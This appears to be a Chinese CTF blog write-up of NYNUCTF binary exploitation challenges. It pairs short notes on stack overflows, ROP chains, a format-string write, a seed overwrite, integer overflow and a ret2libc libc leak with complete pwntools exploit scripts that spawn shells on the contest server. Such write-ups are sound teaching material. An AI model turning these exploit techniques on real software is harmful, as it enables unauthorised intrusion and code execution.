NYNUCTF-PWN-WP

91次阅读
没有评论

共计 5040 个字符,预计需要花费 13 分钟才能阅读完成。

提醒:本文最后更新于 2024-08-30 14:43,文中所关联的信息可能已发生改变,请知悉!

Hello_Pwn

题目描述

连接方式:nc ctf.nynusec.com 端口

WP

NYNUCTF-PWN-WP

hello_pwn2

题目描述

开始吧

WP

IDA

NYNUCTF-PWN-WP

read函数是明显溢出点

NYNUCTF-PWN-WP

只要在输入时填充进足够的垃圾数据,从 unk_601068 一直覆盖到 dword_60106C,再让dword_60106C == 1853186401 成立,就可以执行 sub_400686 函数

NYNUCTF-PWN-WP

EXP

from pwn import *

# p = process('./hello_pwn2')
p = remote('ctf.nynusec.com', 28385)

payload = b'a' * (0xC - 0x8) + p64(0x6E756161)

p.sendlineafter('bof\n', payload)
p.interactive()

pwnpwn

题目描述

WP

IDA

NYNUCTF-PWN-WP

NYNUCTF-PWN-WP

NYNUCTF-PWN-WP

只要利用 read 函数溢出到 callsystem 函数就行

EXP

from pwn import *

p = remote('ctf.nynusec.com', 28691)

payload = b'a' * (0x80 + 0x8) + p64(0x400596)
p.sendlineafter('Hello, World\n', payload)
p.interactive()

easyStack

题目描述

简单的栈溢出

WP

IDA

NYNUCTF-PWN-WP

fgets函数可以溢出

NYNUCTF-PWN-WP

运行 fun 函数,可以拿到 shell

EXP

from pwn import *

p = remote('ctf.nynusec.com', 28658)
paylaod = b'a' * (0x10 + 0x8) + p64(0x4006cf)
p.sendlineafter('secret : \n', paylaod)
p.interactive()

rop_test

题目描述

栈溢出 ROP

WP

IDA

NYNUCTF-PWN-WP

NYNUCTF-PWN-WP

read函数为明显点,而 system 函数存在,只要找到 bin/sh 的地址就行

NYNUCTF-PWN-WP

EXP

from pwn import *

p = remote('ctf.nynusec.com', 28869)
elf = ELF('./rop_test')
binsh_addr = 0x0804a025
sys_addr = elf.sym['system']

payload = b'a' * (0x88 + 0x4) + p32(sys_addr) + p32(0) + p32(binsh_addr)
p.sendlineafter('Input:', payload)
p.interactive()

pwn_string

题目描述

格式化字符串漏洞

WP

IDA

NYNUCTF-PWN-WP

这里会输出两个地址

NYNUCTF-PWN-WP

输入一个name,但不能太长

NYNUCTF-PWN-WP

s1要输入 east 才能跳出循环

按顺序进行到下面的函数

NYNUCTF-PWN-WP

格式化字符串漏洞就在这里

再继续

NYNUCTF-PWN-WP

这里,我们只要让 if 条件成立,就可以直接写入 shellcode,拿到 shell

偏移计算

NYNUCTF-PWN-WP

61616161 --> aaaa

0x80 --> 128

所以偏移量为 7

EXP

from pwn  import *

p = remote("ctf.nynusec.com", 28226)

p.recvuntil("secret[0] is ")
addr = int(p.recvuntil("\n")[:-1],16)
print(addr)

p.recvuntil("character's name be:\n")
p.sendline("aaaa")
p.recvuntil(" will go?east or up?:\n")
p.sendline("east")
p.recvuntil("there(1), or leave(0)?:\n")
p.sendline("1")
p.recvuntil("me an address'\n")
p.sendline(str(addr))
p.recvuntil("you wish is:\n")
p.sendline("%85c%7$n")

context(os = 'linux',arch = 'amd64')
shellcode = asm(shellcraft.sh())

p.recvuntil("SPELL\n")
p.sendline(shellcode)
p.interactive()

pwn_guess

题目描述

猜一下数字

WP

IDA

NYNUCTF-PWN-WP

NYNUCTF-PWN-WP

程序大意为猜随机数,只要猜对 10 轮,就能拿到 flag

但是我们输入的 v9 是能栈内覆盖到随机数种子 seed 的

NYNUCTF-PWN-WP

那么我们就可以利用随机数的伪随机性,来解题

EXP

from pwn import *
from ctypes import *

sh = remote("ctf.nynusec.com", 28856)

libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

payload = b'a' * 0x20 + p64(1)

sh.sendlineafter("Your name:", payload)

libc.srand(1)

for i in range(10):
    num = str(libc.rand() % 6 + 1)
    sh.sendlineafter("number:", num)

sh.interactive()

pwn_int

题目描述

整数溢出

WP

IDA

NYNUCTF-PWN-WP

输入 1,进入 login

NYNUCTF-PWN-WP

这里都规定了读入上限,不能溢出

NYNUCTF-PWN-WP

这里的 v3 看似只能处于 3~8 之间,但是 int 类型是可以溢出的,我们就利用这一点

NYNUCTF-PWN-WP

这是后门函数

EXP

from pwn import *

p = remote("ctf.nynusec.com", 28649)

cat_flag_addr = 0x0804868B

p.sendlineafter("Your choice:", "1")
p.sendlineafter("your username:", "123")

p.recvuntil("your passwd:")
payload = b"a" * 0x14 + b"aaaa" + p32(cat_flag_addr) + b"a" * 234

p.sendline(payload)
p.recv()
p.interactive()

S2-stack

WP

NYNUCTF-PWN-WP

NYNUCTF-PWN-WP

NYNUCTF-PWN-WP

简单的栈溢出

EXP

from pwn import *

p = remote('ctf.nynusec.com', 28239)
#elf = ELF('./stack')
#sys_addr = elf.sym['system']
payload = b'a' * (0x9 + 0x4) + p32(0x0804850f)

p.sendlineafter('32bits\n', payload)
p.interactive()

S2-pwn1-rop

WP

IDA

NYNUCTF-PWN-WP

scanf没有限制读入长度,可溢出

NYNUCTF-PWN-WP

NYNUCTF-PWN-WP

存在 systembinsh

EXP

from pwn import *

p = remote('ctf.nynusec.com', 28050)
elf = ELF('./pwn1-rop')
binsh_addr = 0x601048
sys_addr = elf.sym['system']
ret = 0x400479
rdi_ret = 0x400683

payload = b'a' * (0x10 + 0x8) + p64(ret) + p64(rdi_ret) + p64(binsh_addr) + p64(sys_addr)
# p.recvuntil()
p.sendlineafter('NYNUCTF', payload)
p.interactive()

PWN_libc

题目描述

泄露 libc

WP

IDA

NYNUCTF-PWN-WP

NYNUCTF-PWN-WP

这个程序大致是用来加密解密一段字符串的,但是很明显可以看到 2.Decrypt 是没有用的,那么来看看 1.Encrypt 的内容:

NYNUCTF-PWN-WP

看到了 gets 函数,可以用来溢出,除此以外好像没有别的可以利用的东西,那么就想到 ret2libc

payload

第一次溢出
  • '\0' #用来绕过if (v0 >= strlen(s) ),(strlen() 在读取字符串的时候 会 一直读到 \0 处停止;)
  • b'a' * (0x50 + 0x8 - 1) #与前面的 '\0' 一起,覆盖 s 的栈并溢出

NYNUCTF-PWN-WP

  • p64(rdi_ret)

NYNUCTF-PWN-WP

  • p64(puts_got)
  • p64(puts_plt) # 利用 puts 函数的 got 表和 plt 表来泄露 libc 版本
  • p64(main_addr) # 返回主函数再进行下一次溢出
第二次溢出
  • '\0' #用来绕过if (v0 >= strlen(s) ),(strlen() 在读取字符串的时候 会 一直读到 \0 处停止;)
  • b'a' * (0x50 + 0x8 - 1) #与前面的 '\0' 一起,覆盖 s 的栈并溢出
  • p64(ret) # ubuntu18(题目给出的环境)上有栈平衡,用 ret 来进行栈对齐
  • p64(rdi_ret)
  • p64(binsh) # /bin/sh 地址
  • p64(sys_addr) # system 函数地址

EXP

from pwn import *
from LibcSearcher import *

context.log_level = 'debug'

# p = process('./ciscn_2019_c_1')
p = remote('ctf.nynusec.com', 28693)
elf = ELF('./ciscn_2019_c_1')

main_addr = 0x400b28
rdi_ret = 0x400c83
ret = 0x4006b9
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

payload1 = b'\0' + b'a' * (0x50 + 0x8 - 1) + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

p.sendlineafter('choice!\n', '1')
p.sendlineafter('Input your Plaintext to be encrypted', payload1)
p.recvuntil('Ciphertext\n')
p.recvuntil('\n')
# print(p.recvuntil('\n')[:-1].ljust(8, b'\0'))
# puts_addr = u64(p.recvuntil('\n')[:-1].ljust(8, b'\0'))
puts_addr = u64(p.recvuntil('\n')[:-1].ljust(8, b'\x00'))
print(hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')

p.sendlineafter('choice!\n', '1')

payload2 = b'\0' + b'a' * (0x50 + 0x8 - 1) + p64(ret) + p64(rdi_ret) + p64(binsh) + p64(sys_addr)
p.sendlineafter('encrypted\n', payload2)

p.interactive()
正文完
 0
icvuln
版权声明:本站原创文章,由 icvuln 于2022-01-26发表,共计5040字。
转载说明:除特殊说明外本站文章皆由CC-4.0协议发布,转载请注明出处。
评论(没有评论)